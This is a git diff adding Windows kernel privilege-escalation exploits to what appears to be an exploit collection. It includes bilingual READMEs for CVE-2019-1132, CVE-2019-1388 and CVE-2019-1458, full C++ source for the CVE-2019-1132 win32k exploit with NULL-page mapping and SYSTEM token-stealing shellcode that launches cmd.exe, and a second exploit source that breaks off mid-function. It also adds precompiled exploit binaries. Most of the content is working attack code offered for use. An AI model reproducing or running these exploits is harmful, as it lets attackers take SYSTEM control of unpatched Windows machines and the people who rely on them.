https://ti.qianxin.com/blog/articles/buhtrap-cve-2019-1132-attack-event-related-vulnerability-sample-analysis/ +- https://www.welivesecurity.com/2019/07/10/windows-zero-day-cve-2019-1132-exploit/ +- https://www.anquanke.com/post/id/181794 + diff --git a/00-CVE_EXP/CVE-2019-1132/README_EN.md b/00-CVE_EXP/CVE-2019-1132/README_EN.md new file mode 100644 index 00000000..d1c1f0f4 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/README_EN.md @@ -0,0 +1,34 @@ +### CVE-2019-1132 + +#### Describe + +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. + + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2008 | | R2 | SP1 | | +| Windows 7 | x64/x86 | | SP1 | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1132 +``` + +#### Utilization + +None + + + + +#### Analyze +- https://zhuanlan.zhihu.com/p/335166796 +- https://ti.qianxin.com/blog/articles/buhtrap-cve-2019-1132-attack-event-related-vulnerability-sample-analysis/ +- https://www.welivesecurity.com/2019/07/10/windows-zero-day-cve-2019-1132-exploit/ +- https://www.anquanke.com/post/id/181794 + diff --git a/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.sln b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.sln new file mode 100644 index 00000000..11cb714a --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.539 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2019-1132", "cve-2019-1132.vcxproj", "{998F330A-9512-4212-BC87-A6867DC715D9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {998F330A-9512-4212-BC87-A6867DC715D9}.Debug|x64.ActiveCfg = Debug|x64 + {998F330A-9512-4212-BC87-A6867DC715D9}.Debug|x64.Build.0 = Debug|x64 + {998F330A-9512-4212-BC87-A6867DC715D9}.Debug|x86.ActiveCfg = Debug|Win32 + {998F330A-9512-4212-BC87-A6867DC715D9}.Debug|x86.Build.0 = Debug|Win32 + {998F330A-9512-4212-BC87-A6867DC715D9}.Release|x64.ActiveCfg = Release|x64 + {998F330A-9512-4212-BC87-A6867DC715D9}.Release|x64.Build.0 = Release|x64 + {998F330A-9512-4212-BC87-A6867DC715D9}.Release|x86.ActiveCfg = Release|Win32 + {998F330A-9512-4212-BC87-A6867DC715D9}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {34444CE2-76FE-414E-8862-2F2B23514E75} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj new file mode 100644 index 00000000..48a9e5b8 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj @@ -0,0 +1,124 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {998F330A-9512-4212-BC87-A6867DC715D9} + cve20191132 + 10.0.17763.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + false + MultiByte + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + true + MultiThreadedDebug + + + + + Level3 + Disabled + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + + + true + true + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj.user b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/src/cve-2019-1132.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1132/src/main.cpp b/00-CVE_EXP/CVE-2019-1132/src/main.cpp new file mode 100644 index 00000000..3182f064 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1132/src/main.cpp @@ -0,0 +1,373 @@ +#include +#include + +/* PREPROCESSOR DEFINITIONS */ +#define MN_SELECTITEM 0x1E5 +#define MN_SELECTFIRSTVALIDITEM 0x1E7 +#define MN_OPENHIERARCHY 0x01E3 +#define MN_CANCELMENUS 0x1E6 +#define MN_BUTTONDOWN 0x1ed +#define WM_EX_TRIGGER 0x6789 +#define NtCurrentProcess() (HANDLE)-1 +#define NtCurrentThread() (HANDLE)-1 +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define TYPE_WINDOW 1 + +/* GLOBAL VARIABLES */ +static BOOL hWindowHuntDestroy = FALSE; +static BOOL bEnterEvent = FALSE; +static BOOL success = FALSE; +static HMENU hMenuList[3] = { 0 }; +static HWND hWindowMain = NULL; +static HWND hWindowHunt = NULL; +static HWND hwndMenuList[3] = { 0 }; +static PVOID MemAddr = (PVOID)1; +static SIZE_T MemSize = 0x1000; +static DWORD iCount = 0; +static DWORD release = 0; + + +/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */ +typedef struct _HEAD { + HANDLE h; + DWORD cLockObj; +} HEAD, *PHEAD; + +typedef struct _THROBJHEAD { + HEAD head; + PVOID pti; +} THROBJHEAD, *PTHROBJHEAD; + +typedef struct _DESKHEAD { + PVOID rpdesk; + PBYTE pSelf; +} DESKHEAD, *PDESKHEAD; + +typedef struct _THRDESKHEAD { + THROBJHEAD thread; + DESKHEAD deskhead; +} THRDESKHEAD, *PTHRDESKHEAD; + +/* Definition of xxHMValidateHandle */ +static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; + +/* Defintion of NtallocateVirtualMemory */ +typedef +NTSTATUS +(WINAPI *pfNtAllocateVirtualMemory) ( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG Protect + ); +pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; + + +static +VOID +xxGetHMValidateHandle(VOID) +{ + HMODULE hModule = LoadLibraryA("USER32.DLL"); + PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); + PBYTE Address = NULL; + for (INT i = 0; i < 0x30; i++) + { + if (*(WORD *)(i + pfnIsMenu) != 0x02B2) + { + continue; + } + i += 2; + if (*(BYTE *)(i + pfnIsMenu) != 0xE8) + { + continue; + } + Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; + Address = Address + i + 5; + pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; + break; + } +} + +static +PVOID +xxHMValidateHandleEx(HWND hwnd) +{ + return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); +} + +static +PVOID +xxHMValidateHandle(HWND hwnd) +{ + PVOID RetAddr = NULL; + if (!pfnHMValidateHandle) + { + xxGetHMValidateHandle(); + } + if (pfnHMValidateHandle) + { + RetAddr = xxHMValidateHandleEx(hwnd); + } + return RetAddr; +} + +static +BOOL +xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW) +{ + WNDCLASSEXW wc = { 0 }; + wc.cbSize = sizeof(WNDCLASSEXW); + wc.lpfnWndProc = pfnProc; + wc.cbWndExtra = cbWndExtra; + wc.hInstance = GetModuleHandleA(NULL); + wc.lpszMenuName = NULL; + wc.lpszClassName = lpszClassName; + return RegisterClassExW(&wc); +} + +static +HWND +xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL) +{ + return CreateWindowExW(dwExStyle, + lpszClassName, + NULL, + dwStyle, + 0, + 0, + 1, + 1, + hwndParent, + NULL, + hInstance, + NULL); +} + +static +LRESULT +CALLBACK +xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) +{ + tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; + + if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1]) + { + printf("Sending the MN_CANCELMENUS message\n"); + SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0); + bEnterEvent = FALSE; + } + return CallNextHookEx(0, code, wParam, lParam); +} + + +static +VOID +CALLBACK +xxWindowEventProc( + HWINEVENTHOOK hWinEventHook, + DWORD event, + HWND hwnd, + LONG idObject, + LONG idChild, + DWORD idEventThread, + DWORD dwmsEventTime +) +{ + UNREFERENCED_PARAMETER(hWinEventHook); + UNREFERENCED_PARAMETER(event); + UNREFERENCED_PARAMETER(idObject); + UNREFERENCED_PARAMETER(idChild); + UNREFERENCED_PARAMETER(idEventThread); + UNREFERENCED_PARAMETER(dwmsEventTime); + + bEnterEvent = TRUE; + if (iCount < ARRAYSIZE(hwndMenuList)) + { + hwndMenuList[iCount] = hwnd; + iCount++; + } + SendMessageW(hwnd, MN_SELECTITEM, 0, 0); + SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); + PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); +} + +__declspec(noinline) int Shellcode() +{ + __asm { + xor eax, eax // Set EAX to 0. + mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData. + // _KTHREAD is located at FS:[0x124] + mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process + mov ecx, eax // Copy current process _EPROCESS structure + mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4 + SearchSystemPID: + mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink + sub eax, 0B8h + cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId + jne SearchSystemPID + mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token + mov[ecx + 0xF8], edx // Assign SYSTEM process token. + } +} + +static +LRESULT +WINAPI +xxMainWindowProc( + _In_ HWND hwnd, + _In_ UINT msg, + _In_ WPARAM wParam, + _In_ LPARAM lParam +) +{ + if (msg == 0x1234) + { + WORD um = 0; + __asm + { + // Grab the value of the CS register and + // save it into the variable UM. + //int 3 + mov ax, cs + mov um, ax + } + // If UM is 0x1B, this function is executing in usermode + // code and something went wrong. Therefore output a message that + // the exploit didn't succeed and bail. + if (um == 0x1b) + { + // USER MODE + printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); + ExitProcess(-1); // Bail as if this code is hit either the target isn't + // vulnerable or something is wrong with the exploit. + } + else + { + success = TRUE; // Set the success flag to indicate the sprayCallback() + // window procedure is running as SYSTEM. + Shellcode(); // Call the Shellcode() function to perform the token stealing and + // to remove the Job object on the Chrome renderer process. + } + } + return DefWindowProcW(hwnd, msg, wParam, lParam); +} + +int main() +{ + /* Creating the menu */ + for (int i = 0; i < 3; i++) + hMenuList[i] = CreateMenu(); + + /* Appending the menus along with the item */ + for (int i = 0; i < 3; i++) + { + AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); + } + AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); + + /* Creating a main window class */ + xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); + hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", + WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, + WS_VISIBLE, + GetModuleHandleA(NULL)); + printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); + ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); + + /* Creating the hunt window class */ + xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc); + hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", + WS_EX_LEFT, + WS_OVERLAPPEDWINDOW, + GetModuleHandleA(NULL)); + printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt); + + /* Hooking the WH_CALLWNDPROC function */ + SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); + + /* Hooking the trackpopupmenuEx WINAPI call */ + HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, + GetCurrentProcessId(), GetCurrentThreadId(), 0); + + /* Setting the root popup menu to null */ + printf("Setting the root popup menu to null\n"); + release = 0; + TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); + + /* Allocating the memory at NULL page */ + *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); + if (NtAllocateVirtualMemory == NULL) + return 1; + + if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), + &MemAddr, + 0, + &MemSize, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE)) || MemAddr != NULL) + { + std::cout << "[-]Memory alloc failed!" << std::endl; + return 1; + } + ZeroMemory(MemAddr, MemSize); + + /* Getting the tagWND of the hWindowHunt */ + PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); + printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf); + + /* Creating a fake POPUPMENU structure */ + DWORD dwPopupFake[0x100] = { 0 }; + dwPopupFake[0x0] = (DWORD)0x1; //->flags + dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify + dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu + dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup + dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup + dwPopupFake[0x5] = (DWORD)0x1; //->spmenu + dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate + dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12; //->spwndActivePopup + dwPopupFake[0x8] = (DWORD)0x1; //->ppopupmenuRoot + dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree + dwPopupFake[0xA] = (DWORD)0x1; //->posSelectedItem + dwPopupFake[0xB] = (DWORD)0x1; //->posDropped + dwPopupFake[0xC] = (DWORD)0; + + /* Copying it to the NULL page */ + RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); + + /* Allowing to access the NULL page mapped values */ + release = 1; + hwndMenuList[2] = NULL; + TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL); + + /* Freeing the allocated NULL memory */ + VirtualFree(MemAddr, 0x1000, 0); + + SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11); + + if (success) + { + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi = { 0 }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_SHOW; + printf("Getting the shell now...\n"); + BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); + if (bRet) + { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + } + + DestroyWindow(hWindowMain); + + MSG msg = { 0 }; + while (GetMessageW(&msg, NULL, 0, 0)) + { + TranslateMessage(&msg); + DispatchMessageW(&msg); + } + return 0; +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1388/HHUPD.EXE b/00-CVE_EXP/CVE-2019-1388/HHUPD.EXE new file mode 100644 index 00000000..0eff771f Binary files /dev/null and b/00-CVE_EXP/CVE-2019-1388/HHUPD.EXE differ diff --git a/00-CVE_EXP/CVE-2019-1388/README.md b/00-CVE_EXP/CVE-2019-1388/README.md new file mode 100644 index 00000000..a09efe48 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1388/README.md @@ -0,0 +1,49 @@ +### CVE-2019-1388 + +#### 描述 + +该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此必须对UI进行严格限制。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC对话框已被精简,仅包含最少的可单击选项。 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1903 | | | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1709 | | | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2008 | x64/x86 | R2 | SP1 | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1903 | | | +| Windows Server | | 1803 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388 +``` + +#### 利用方式 + +这边直接贴一个GIF图就好了,利用文件位置 + +``` +https://github.com/Ascotbe/WindowsKernelExploits/blob/master/CVE-2019-1388/HHUPD.EXE +``` + +测试系统Windows 7 SP1 x64 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif) + +#### 分析文章 +- http://blog.leanote.com/post/snowming/38069f423c76 +- https://mp.weixin.qq.com/s/q4UICIVwC4HX-ytvWo8Dvw \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1388/README_EN.md b/00-CVE_EXP/CVE-2019-1388/README_EN.md new file mode 100644 index 00000000..4a498e35 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1388/README_EN.md @@ -0,0 +1,49 @@ +### CVE-2019-1388 + +#### Describe + +An elevation of privilege vulnerability exists in the Windows Certificate Dialog when it does not properly enforce user privileges, aka 'Windows Certificate Dialog Elevation of Privilege Vulnerability'. + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1903 | | | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1803 | | | +| Windows 10 | x64/x86/ARM64 | 1709 | | | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2008 | x64/x86 | R2 | SP1 | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1903 | | | +| Windows Server | | 1803 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388 +``` + +#### Utilization + +It's just a GIF map directly, use the file location. + +``` +https://github.com/Ascotbe/WindowsKernelExploits/blob/master/CVE-2019-1388/HHUPD.EXE +``` + +Test system Windows 7 SP1 x64 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1388_win7_sp1_x64.gif) + +#### Analyze +- http://blog.leanote.com/post/snowming/38069f423c76 +- https://mp.weixin.qq.com/s/q4UICIVwC4HX-ytvWo8Dvw \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/README.md b/00-CVE_EXP/CVE-2019-1458/README.md new file mode 100644 index 00000000..611d5edd --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/README.md @@ -0,0 +1,47 @@ +### CVE-2019-1458 + +#### 描述 + +CVE-2019-1458是Win32k中的特权提升漏洞,Win32k组件无法正确处理内存中的对象时,导致Windows中存在一个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可能会安装程序、查看、更改或删除数据;或创建具有完全用户权限的新帐户。 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2008 | x64/x86 | R2 | SP1 | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V120)X64 Release + +编译好的文件 + +``` +cve-2019-1458.exe +``` + +测试系统Windows 7 SP1 x64 ,直接上GIF图 + +![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif) + +#### 分析文章 +- https://github.com/piotrflorczyk/cve-2019-1458_POC +- https://bbs.pediy.com/thread-260268.htm +- https://thunderjie.github.io/2020/03/21/CVE-2019-1458-%E4%BB%8E-%E6%BC%8F%E6%B4%9E%E6%8A%A5%E5%91%8A-%E5%88%B0POC%E7%9A%84%E7%BC%96%E5%86%99%E8%BF%87%E7%A8%8B/ \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/README_EN.md b/00-CVE_EXP/CVE-2019-1458/README_EN.md new file mode 100644 index 00000000..ecaf3334 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/README_EN.md @@ -0,0 +1,48 @@ +### CVE-2019-1458 + +#### Describe + +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. + + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86 | 1607 | | | +| Windows 10 | x64/x86 | | | | +| Windows 7 | x64/x86 | | SP1 | ✔ | +| Windows 8.1 | x64/x86 | | | | +| Windows RT 8.1 | | | | | +| Windows Server 2008 | x64/x86 | R2 | SP1 | | +| Windows Server 2008 | x64/x86 | | SP2 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V120)X64 Release + +Compile a good file + +``` +cve-2019-1458.exe +``` + +Test system Windows 7 SP1 x64 ,Direct GIF map + +![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-1458_win7_sp1_x64.gif) + +#### Analyze +- https://github.com/piotrflorczyk/cve-2019-1458_POC +- https://bbs.pediy.com/thread-260268.htm +- https://thunderjie.github.io/2020/03/21/CVE-2019-1458-%E4%BB%8E-%E6%BC%8F%E6%B4%9E%E6%8A%A5%E5%91%8A-%E5%88%B0POC%E7%9A%84%E7%BC%96%E5%86%99%E8%BF%87%E7%A8%8B/ \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.exe b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.exe new file mode 100644 index 00000000..72c80ad6 Binary files /dev/null and b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.exe differ diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.sln b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.sln new file mode 100644 index 00000000..49c334d5 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2019-1458", "cve-2019-1458\cve-2019-1458.vcxproj", "{FD32BB28-7082-41EA-B221-26E8D10A1CC9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Debug|Win32.ActiveCfg = Debug|Win32 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Debug|Win32.Build.0 = Debug|Win32 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Debug|x64.ActiveCfg = Debug|x64 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Debug|x64.Build.0 = Debug|x64 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Release|Win32.ActiveCfg = Release|Win32 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Release|Win32.Build.0 = Release|Win32 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Release|x64.ActiveCfg = Release|x64 + {FD32BB28-7082-41EA-B221-26E8D10A1CC9}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/Source.cpp b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/Source.cpp new file mode 100644 index 00000000..cf04dd99 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-1458/cve-2019-1458/Source.cpp @@ -0,0 +1,417 @@ +#include +#include +#include + +typedef struct _LARGE_UNICODE_STRING { + ULONG Length; + ULONG MaximumLength : 31; + ULONG bAnsi : 1; + PWSTR Buffer; +} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING; + +extern "C" NTSTATUS NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); +extern "C" NTSTATUS NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr); +extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009; + + +#define SPARY_TIMES 0x1000 + +#ifdef _WIN64 +typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type); +#else +typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type); +#endif +typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation); + +HWND g_hwnd = 0; +ULONG_PTR g_gap = 0; + +lHMValidateHandle pHmValidateHandle = NULL; + +BOOL FindHMValidateHandle() { + HMODULE hUser32 = LoadLibraryA("user32.dll"); + if (hUser32 == NULL) { + printf("Failed to load user32"); + return FALSE; + } + + BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); + if (pIsMenu == NULL) { + printf("Failed to find location of exported function 'IsMenu' within user32.dll\n"); + return FALSE; + } + unsigned int uiHMValidateHandleOffset = 0; + for (unsigned int i = 0; i < 0x1000; i++) { + BYTE* test = pIsMenu + i; + if (*test == 0xE8) { + uiHMValidateHandleOffset = i + 1; + break; + } + } + if (uiHMValidateHandleOffset == 0) { + printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); + return FALSE; + } + + unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); + unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; + //The +11 is to skip the padding bytes as on Windows 10 these aren't nops + pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); + return TRUE; +} + +VOID +NTAPI +RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString, +IN PCWSTR SourceString) +{ + ULONG DestSize; + + if (SourceString) + { + DestSize = wcslen(SourceString) * sizeof(WCHAR); + DestinationString->Length = DestSize; + DestinationString->MaximumLength = DestSize + sizeof(WCHAR); + } + else + { + DestinationString->Length = 0; + DestinationString->MaximumLength = 0; + } + + DestinationString->Buffer = (PWSTR)SourceString; + DestinationString->bAnsi = FALSE; +} + +void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size) +{ + SetClassLongPtr(g_hwnd, g_gap, addr); + CHAR input[sizeof(ULONG_PTR)*2]; + RtlSecureZeroMemory(&input, sizeof(input)); + LARGE_UNICODE_STRING u; + for (int i = 0; i> (8 * i)) & 0xff; + } + + 